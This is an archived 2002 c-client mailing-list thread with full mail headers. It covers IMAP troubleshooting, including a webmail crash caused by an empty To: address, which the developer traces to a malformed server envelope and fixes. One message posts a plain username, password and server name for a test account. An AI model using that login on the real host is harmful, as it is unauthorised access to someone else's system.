2002 10:47:02 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id KAA19638; Sun, 2 Jun 2002 10:46:57 -0700 (PDT) Message-Id: Date: Sun, 2 Jun 2002 10:45:55 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrew Ziem Cc: c-client@u.washington.edu Subject: re: IMAP clients report no messages or error In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 02 Jun 2002 11:31:19 -0600, Andrew Ziem wrote: > When I telnet to the server (telnet localhost 143), shouldn't I be able to > type "a001 login andrew password"? I tried that, and the server responds > "a001 BAD Command unrecognized: LOGIN." What did it say in the server greeting message when you did "telnet localhost 143"? From pinedev@shivax2.cac.washington.edu Mon Jun 3 08:23:54 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Jun 2002 08:23:53 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53FNro1006481 for ; Mon, 3 Jun 2002 08:23:53 -0700 Received: FROM mx2.cac.washington.edu BY mailscan5.cac.washington.edu ; Mon Jun 03 08:23:52 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53FNqsb003999 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Jun 2002 08:23:52 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53FNGqt013174; Mon, 3 Jun 2002 08:23:16 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53FJnw3073774 for ; Mon, 3 Jun 2002 08:19:49 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Jun 03 08:19:48 2002 -0700 Received: from Mail.ubishops.ca (Mail.ubishops.ca [192.197.190.5]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53FJmg4026461 for ; Mon, 3 Jun 2002 08:19:48 -0700 Received: from ubishops.ca (Mercury.ubishops.ca [207.162.99.14]) by Mail.ubishops.ca (8.10.2/8.10.2) with ESMTP id g53FJmn21155 for ; Mon, 3 Jun 2002 11:19:48 -0400 Received: from Spooler by ubishops.ca (Mercury/32 v3.31) ID MO00118B; 3 Jun 02 11:19:48 -0400 Received: from spooler by ubishops.ca (Mercury/32 v3.31); 3 Jun 02 11:19:37 -0400 Received: from ToddXP (206.167.192.20) by ubishops.ca (Mercury/32 v3.31) with ESMTP ID MG001189; 3 Jun 02 11:19:25 -0400 Message-Id: <3CFB50BC.3913.F2159E1@localhost> Date: Mon, 3 Jun 2002 11:19:25 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Todd Aiken" To: c-client@u.washington.edu Subject: Problems with invalid "To:" field MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Greetings. I am new to this list, so please excuse me if this issue has already been addressed. I have setup a Horde/IMP webmail server at our university, and it uses c-client 2001a compiled into PHP 4.1.2 and Apache 1.3.23, talking to our IMAP server (Mercury 3.31). Everything works fine, except when a user receives a message containing nothing before the @ sign in the "To:" field. When this happens, the user is unable to login to the webmail system. Further testing shows problems also occur when connecting to our IMAP server using Pine 4.33-as soon as the message is selected, Pine exits with the following message: Problem detected: "Received abort signal". Pine Exiting. Aborted I set up a test account and wrote to the authors of IMP, and they got back to me with the following: -------- OK, I tested a bit and did also experience your problems. I traced it back and found that the c-client is segfaulting in a call to rfc822_write_address(). I also found the imap_fetch_overview() call in our mailbox.php that lead to this crash, but there's no way to work around on our side. The only thing you can try is to upgrade to a newer c-client version and see if this is fixed already. If not you may want to report a bug to the c-client guys. -------- I don't believe the problem is with our IMAP server, because other IMAP clients work fine with these types of messages (they are usually SPAM, but sometimes legitimate). Can somebody verify if this is a problem with c-client, or is it something else on my system? Thanks. CU L8R... -------------------------------+--------------------------------------- Todd A. Aiken | This space can be yours, for just four Systems Administrator | easy payments of $39.95. Plus, buy Cole Computer Centre | one half and get the 2nd half for 50% BISHOP'S UNIVERSITY | off the cost of the two together! Lennoxville, Quebec, CANADA | Call 1-800-4-RIPOFF today! -----BEGIN GEEK CODE BLOCK----- Version 3.12 (http://www.geekcode.com) GCS$/MU d+(-) s++:++ a27 C++$ UL++++$ P+ L++ E->+ W+>++ N++ o? K- w O- M V? PS PE- Y PGP- t+ 5 X R- tv+ b DI(+) D+ G e+ h !r>r+++ y- ------END GEEK CODE BLOCK------ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 3 08:28:11 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Jun 2002 08:28:10 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53FSAo1006659 for ; Mon, 3 Jun 2002 08:28:10 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Jun 03 08:28:09 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53FS8sb004175 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Jun 2002 08:28:08 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53FRelZ033124; Mon, 3 Jun 2002 08:27:40 -0700 Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53FMww3051262 for ; Mon, 3 Jun 2002 08:22:58 -0700 Received: FROM mxu3.u.washington.edu BY mailscan3.cac.washington.edu ; Mon Jun 03 08:22:58 2002 -0700 Received: from belcebu.upc.es (belcebu.upc.es [147.83.2.63]) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53FMug4027322 for ; Mon, 3 Jun 2002 08:22:57 -0700 Received: from dttix0.upc.es (dttix0.upc.es [147.83.50.81]) by belcebu.upc.es (8.12.1/8.12.1) with ESMTP id g53FMtTX023807 for ; Mon, 3 Jun 2002 17:22:55 +0200 (MET DST) Received: from d5215pe ([147.83.50.188]) by dttix0.upc.es (8.8.8+Sun/8.8.6) with SMTP id RAA13123 for ; Mon, 3 Jun 2002 17:25:07 +0200 (MET DST) Message-Id: <001601c20b12$7c87b2e0$bc325393@d5215pe> Date: Mon, 3 Jun 2002 17:22:34 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "David Hernando" To: Subject: New user MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0013_01C20B23.3FDC7A90" X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0013_01C20B23.3FDC7A90 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Finally, I built the imap toolkit on windows (I had problems installing = =3D the SDK). I've been testing mtest and it works fine.=3D20 Now my question is how to execute imapd for listen on port 143? Thank you, David Hernando UPC - Spain ------=_NextPart_000_0013_01C20B23.3FDC7A90 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Finally, I built the imap toolkit on = windows (I had=20 problems installing =3D
    the SDK).

    I've been testing mtest and = it works=20 fine.=3D20

    Now my question is how to execute imapd for listen on = port=20 143?

    Thank you,

    David Hernando
    UPC -=20 Spain
    ------=_NextPart_000_0013_01C20B23.3FDC7A90-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 3 09:05:49 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Jun 2002 09:05:49 -0700 (PDT) Return-Path: Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53G5no1008535 for ; Mon, 3 Jun 2002 09:05:49 -0700 Received: FROM mx2.cac.washington.edu BY mailscan6.cac.washington.edu ; Mon Jun 03 09:05:48 2002 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53G5lsb005663 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Jun 2002 09:05:48 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53G5Ieo093850; Mon, 3 Jun 2002 09:05:19 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53G2fw3028896 for ; Mon, 3 Jun 2002 09:02:41 -0700 Received: FROM mxu3.u.washington.edu BY mailscan4.cac.washington.edu ; Mon Jun 03 09:02:40 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53G2cg4004971 for ; Mon, 3 Jun 2002 09:02:39 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA22029; Mon, 3 Jun 2002 09:02:32 -0700 (PDT) Message-Id: Date: Mon, 3 Jun 2002 09:01:13 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Todd Aiken Cc: c-client@u.washington.edu Subject: re: Problems with invalid "To:" field In-Reply-To: <3CFB50BC.3913.F2159E1@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Can you provide me with access to your IMAP server? An account with a single message that demonstrates the message is good enough. It is probably generating an invalid syntax IMAP envelope, but c-client should not crash even in that case. From pinedev@shivax2.cac.washington.edu Mon Jun 3 09:09:51 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Jun 2002 09:09:51 -0700 (PDT) Return-Path: Received: from mailscan3.cac.washington.edu (mailscan3.cac.washington.edu [140.142.32.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53G9po1008726 for ; Mon, 3 Jun 2002 09:09:51 -0700 Received: FROM mx2.cac.washington.edu BY mailscan3.cac.washington.edu ; Mon Jun 03 09:09:51 2002 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53G9osb005799 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Jun 2002 09:09:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53G9JR8012268; Mon, 3 Jun 2002 09:09:19 -0700 Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53G5ow3053702 for ; Mon, 3 Jun 2002 09:05:50 -0700 Received: FROM mxu2.u.washington.edu BY mailscan1.cac.washington.edu ; Mon Jun 03 09:05:50 2002 -0700 Received: from Mail.ubishops.ca (Mail.ubishops.ca [192.197.190.5]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53G5nhR027380 for ; Mon, 3 Jun 2002 09:05:49 -0700 Received: from ubishops.ca (Mercury.ubishops.ca [207.162.99.14]) by Mail.ubishops.ca (8.10.2/8.10.2) with ESMTP id g53G5nn22208; Mon, 3 Jun 2002 12:05:49 -0400 Received: from Spooler by ubishops.ca (Mercury/32 v3.31) ID MO001343; 3 Jun 02 12:05:48 -0400 Received: from spooler by ubishops.ca (Mercury/32 v3.31); 3 Jun 02 12:05:22 -0400 Received: from ToddXP (206.167.192.20) by ubishops.ca (Mercury/32 v3.31) with ESMTP ID MG001340; 3 Jun 02 12:05:09 -0400 Message-Id: <3CFB5B74.7288.F4B39F9@localhost> Date: Mon, 3 Jun 2002 12:05:08 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Todd Aiken" To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: Problems with invalid "To:" field In-Reply-To: References: <3CFB50BC.3913.F2159E1@localhost> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > Can you provide me with access to your IMAP server? An account with a > single message that demonstrates the message is good enough. > > It is probably generating an invalid syntax IMAP envelope, but c-client > should not crash even in that case. Thanks for your quick reply. Here it is: Username: imptest Password: testing Server: imap4.ubishops.ca Folder prefix: There is a test message with a "To:" field of @ubishops.ca in the INBOX. CU L8R... -------------------------------+--------------------------------------- Todd A. Aiken | This space can be yours, for just four Systems Administrator | easy payments of $39.95. Plus, buy Cole Computer Centre | one half and get the 2nd half for 50% BISHOP'S UNIVERSITY | off the cost of the two together! Lennoxville, Quebec, CANADA | Call 1-800-4-RIPOFF today! -----BEGIN GEEK CODE BLOCK----- Version 3.12 (http://www.geekcode.com) GCS$/MU d+(-) s++:++ a27 C++$ UL++++$ P+ L++ E->+ W+>++ N++ o? K- w O- M V? PS PE- Y PGP- t+ 5 X R- tv+ b DI(+) D+ G e+ h !r>r+++ y- ------END GEEK CODE BLOCK------ From pinedev@shivax2.cac.washington.edu Mon Jun 3 09:56:49 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Jun 2002 09:56:49 -0700 (PDT) Return-Path: Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53Guno1011148 for ; Mon, 3 Jun 2002 09:56:49 -0700 Received: FROM mx2.cac.washington.edu BY mailscan2.cac.washington.edu ; Mon Jun 03 09:56:47 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53Guksb007607 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Jun 2002 09:56:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53GuCqt018978; Mon, 3 Jun 2002 09:56:12 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53Grhw3062694 for ; Mon, 3 Jun 2002 09:53:43 -0700 Received: FROM mxu3.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Jun 03 09:53:43 2002 -0700 Received: from Ikkoku-Kan.Panda.COM (ikkoku-kan.panda.com [206.124.149.114] (may be forged)) by mxu3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53Grgg4021300 for ; Mon, 3 Jun 2002 09:53:42 -0700 Received: from Ikkoku-Kan.Panda.COM (Ikkoku-Kan.Panda.COM [192.107.14.50]) by Ikkoku-Kan.Panda.COM id JAA22084; Mon, 3 Jun 2002 09:53:32 -0700 (PDT) Message-Id: Date: Mon, 3 Jun 2002 09:48:48 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Todd Aiken Cc: c-client@u.washington.edu Subject: re: Problems with invalid "To:" field In-Reply-To: <3CFB5B74.7288.F4B39F9@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN It is indeed the IMAP server sending bogus IMAP: (NIL NIL NIL "ubishops.ca") is not a valid IMAP envelope, since the third element can only be NIL to indicate the end of a group. Nevertheless, c-client should not crash. It turns out that I've already fixed it in imap-2002. Get the latest imap-2002 development snapshot: ftp://ftp.cac.washington.edu/mail/imap-2002.DEV.tar.Z That IMAP server also seems to be sending bogus text sizes, so you will probably have other problems with it. From pinedev@shivax2.cac.washington.edu Mon Jun 3 10:00:16 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Jun 2002 10:00:16 -0700 (PDT) Return-Path: Received: from mailscan1.cac.washington.edu (mailscan1.cac.washington.edu [140.142.32.16]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53H0Go1011346 for ; Mon, 3 Jun 2002 10:00:16 -0700 Received: FROM mx2.cac.washington.edu BY mailscan1.cac.washington.edu ; Mon Jun 03 10:00:15 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53H0Esb007727 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Jun 2002 10:00:14 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53Gxkqt021744; Mon, 3 Jun 2002 09:59:46 -0700 Received: from mailscan6.cac.washington.edu (mailscan6.cac.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53Gvnw3044226 for ; Mon, 3 Jun 2002 09:57:49 -0700 Received: FROM mxu4.u.washington.edu BY mailscan6.cac.washington.edu ; Mon Jun 03 09:57:48 2002 -0700 Received: from Princeton.EDU (postoffice.Princeton.EDU [128.112.129.120]) by mxu4.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53GvlKQ014383 for ; Mon, 3 Jun 2002 09:57:48 -0700 Received: from smtpserver1.Princeton.EDU (smtpserver1.Princeton.EDU [128.112.129.65]) by Princeton.EDU (8.12.3/8.12.3) with ESMTP id g53Gu2Zs002957 for ; Mon, 3 Jun 2002 12:56:02 -0400 (EDT) Received: from princeton.edu (comserv5-dialup7.Princeton.EDU [128.112.71.157]) (authenticated bits=0 netid=michaelb) by smtpserver1.Princeton.EDU (8.12.2/8.12.2) with ESMTP id g53GtrCL020276 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 3 Jun 2002 12:56:00 -0400 (EDT) Message-Id: <3CFB9FB8.F07C4392@princeton.edu> Date: Mon, 03 Jun 2002 12:56:24 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Michael P. Barnett" To: c-client@u.washington.edu Subject: detaching attachments MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I receive many messages with very large attachments. Also, I send a large number of messages with the same very large attachment (e.g. PostScript or PDF files of an article to people whose work is cited in a survey article that I am writing). I want to move all of these messages to folders without the attachments. How do I detach the attachments? Also, I am using PINE to work through the folders on my IMAP server deleting the attachments from messages that were moved there in the past. This is very tedious. Can I use IMAP in an efficient way to do this? Thanks, Michael Barnett -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jun 3 10:34:01 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 3 Jun 2002 10:34:00 -0700 (PDT) Return-Path: Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53HY0o1013896 for ; Mon, 3 Jun 2002 10:34:00 -0700 Received: FROM mx2.cac.washington.edu BY mailscan4.cac.washington.edu ; Mon Jun 03 10:33:59 2002 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53HXwsb009892 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 3 Jun 2002 10:33:59 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53HXSqt013226; Mon, 3 Jun 2002 10:33:29 -0700 Received: from mailscan2.cac.washington.edu (mailscan2.cac.washington.edu [140.142.33.16]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g53HVLw3055456 for ; Mon, 3 Jun 2002 10:31:21 -0700 Received: FROM mxu2.u.washington.edu BY mailscan2.cac.washington.edu ; Mon Jun 03 10:31:20 2002 -0700 Received: from Mail.ubishops.ca (Mail.ubishops.ca [192.197.190.5]) by mxu2.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g53HVJhR021887 for ; Mon, 3 Jun 2002 10:31:20 -0700 Received: from ubishops.ca (Mercury.ubishops.ca [207.162.99.14]) by Mail.ubishops.ca (8.10.2/8.10.2) with ESMTP id g53HVJn24174; Mon, 3 Jun 2002 13:31:19 -0400 Received: from Spooler by ubishops.ca (Mercury/32 v3.31) ID MO000944; 3 Jun 02 13:31:20 -0400 Received: from spooler by ubishops.ca (Mercury/32 v3.31); 3 Jun 02 13:31:11 -0400 Received: from ToddXP (206.167.192.20) by ubishops.ca (Mercury/32 v3.31) with ESMTP ID MG000942; 3 Jun 02 13:30:58 -0400 Message-Id: <3CFB6F91.18992.F99C862@localhost> Date: Mon, 3 Jun 2002 13:30:58 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Todd Aiken" To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: Problems with invalid "To:" field In-Reply-To: References: <3CFB5B74.7288.F4B39F9@localhost> MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks Mark for your help. The 2002DEV package fixed the problem. Now my webmail server displays "INVALIDADDRESS@.SYNTAX ERROR." on an invalid "To:" field, which is much better than preventing a login from happening. I am also going to write the maintainer of our IMAP server and pass this information along. > It is indeed the IMAP server sending bogus IMAP: > (NIL NIL NIL "ubishops.ca") > is not a valid IMAP envelope, since the third element can only be NIL to > indicate the end of a group. > > Nevertheless, c-client should not crash. It turns out that I've already > fixed it in imap-2002. Get the latest imap-2002 development snapshot: > ftp://ftp.cac.washington.edu/mail/imap-2002.DEV.tar.Z > > That IMAP server also seems to be sending bogus text sizes, so you will > probably have other problems with it. CU L8R... -------------------------------+--------------------------------------- Todd A. Aiken | This space can be yours, for just four Systems Administrator | easy payments of $39.95. Plus, buy Cole Computer Centre | one half and get the 2nd half for 50% BISHOP'S UNIVERSITY | off the cost of the two together! Lennoxville, Quebec, CANADA | Call 1-800-4-RIPOFF today! -----BEGIN GEEK CODE BLOCK----- Version 3.12 (http://www.geekcode.com) GCS$/MU d+(-) s++:++ a27 C++$ UL++++$ P+ L++ E->+ W+>++ N++ o? K- w O- M V? PS PE- Y PGP- t+ 5 X R- tv+ b DI(+) D+ G e+ h !r>r+++ y- ------END GEEK CODE BLOCK------ From pinedev@shivax2.cac.washington.edu Tue Jun 11 13:45:07 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Jun 2002 13:45:07 -0700 (PDT) Return-Path: Received: from mailscan5.cac.washington.edu (mailscan5.cac.washington.edu [140.142.32.14]) by groupms.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5BKj7o1008921 for ; Tue, 11 Jun 2002 13:45:07 -0700 Received: FROM mx1.cac.washington.edu BY mailscan5.cac.washington.edu ; Tue Jun 11 13:45:05 2002 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5BKj4rT017671 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 11 Jun 2002 13:45:05 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5BKiFlZ029184; Tue, 11 Jun 2002 13:44:16 -0700 Received: from mailscan4.cac.washington.edu (mailscan4.cac.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with SMTP id g5BKXnw3035746 for ; Tue, 11 Jun 2002 13:33:50 -0700 Received: FROM mxu1.u.washington.edu BY mailscan4.cac.washington.edu ; Tue Jun 11 13:33:48 2002 -0700 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu1.u.washington.edu (8.12.1+UW01.12/8.12.1+UW02.01) with ESMTP id g5BKXlKj018753 for ; Tue, 11 Jun 2002 13:33:48 -0700 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.12.4/jtpda-5.4) with ESMTP id g5BKXkeK012128 for ; Tue, 11 Jun 2002 22:33:46 +0200 (CEST) Received: from seth.lpthe.jussieu.fr (IDENT:root@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id g5BKXkm29576 for ; Tue, 11 Jun 2002 22:33:46 +0200 (MEST) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id WAA23713 ; Tue, 11 Jun 2002 22:33:45 +0200 Message-Id: <200206112033.WAA23713@seth.lpthe.jussieu.fr> Date: Tue, 11 Jun 2002 22:33:45 +0200 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: bouncing/redirecting messages MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I've implemented a "Bounce" command in my program. Although it seems to work fine I'm not sure if I did it right, could someone please tell me if this is the right approach: 1. create a new envelope and: a) set its remail field to the original header quoting (i.e. prefixing with "X-") some special headers such as "Delivered-To:" (otherwise if you bounce message to yourself the SMTP server rejects it saying that it detected an infinite loop) and also "Received:" and "Resent-XXX:" (because Pine does it -- although I have no idea why? For similar reasons?) b) set to and date fields c) don't set any other fields, in particular from, reply-to, sender 2. create a new body and: a) get the entire text of the original message (i.e. without breaking it into parts or anything) and assign it to contents.text.data b) set type/subtype to "TEXT/PLAIN" (seems to be unused anyhow?) c) set encoding to ENCOTHER because otherwise c-client tries to (re)encode the message which breaks it The most suspicious point is 2(c) -- I don't feel comfortably using ENCOTHER because I have no idea what is it supposed to do but this was the only way I found to prevent c-client from encoding the message in either QP or Base64. Thanks in advance! VZ -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 11 14:54:12 2002 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 11 Jun 2002 14:54:12 -0700 (PDT) 